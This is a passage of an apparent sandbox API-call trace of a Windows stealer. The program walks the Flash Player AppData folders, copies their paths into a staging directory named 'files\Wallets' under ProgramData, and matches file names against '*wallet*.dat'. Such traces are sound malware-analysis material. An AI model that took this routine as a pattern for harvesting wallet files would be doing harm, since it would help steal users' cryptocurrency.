returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\.." [0052.098] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\" [0052.098] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\.." [0052.098] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.098] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.098] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.098] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.098] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0052.099] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0052.099] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*.*" [0052.099] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a200 [0052.099] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\." [0052.099] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\." [0052.099] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.099] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.099] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\.." [0052.099] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.099] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\.." [0052.099] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.099] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.099] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.099] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0052.099] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1 [0052.100] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1 [0052.100] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*.*" [0052.100] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a2c0 [0052.100] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\." [0052.100] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\." [0052.100] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.100] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.100] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0052.100] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\.." [0052.100] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0052.100] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\.." [0052.100] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.100] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.100] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.100] FindClose (in: hFindFile=0x58a2c0 | out: hFindFile=0x58a2c0) returned 1 [0052.101] PathMatchSpecW (pszFile="DQQHJZ8C", pszSpec="*wallet*.dat") returned 0 [0052.101] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.101] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.101] PathMatchSpecW (pszFile="#SharedObjects", pszSpec="*wallet*.dat") returned 0 [0052.101] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.101] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0052.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0052.101] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0052.101] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player" [0052.102] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\" [0052.102] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" [0052.102] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0052.102] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0052.102] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0052.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.*" [0052.102] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a2c0 [0052.102] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0052.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0052.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\." [0052.102] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com" [0052.102] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\" [0052.102] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Macromedia\\Flash Player\\macromedia.com\\." [0052.102] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.102] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.103] 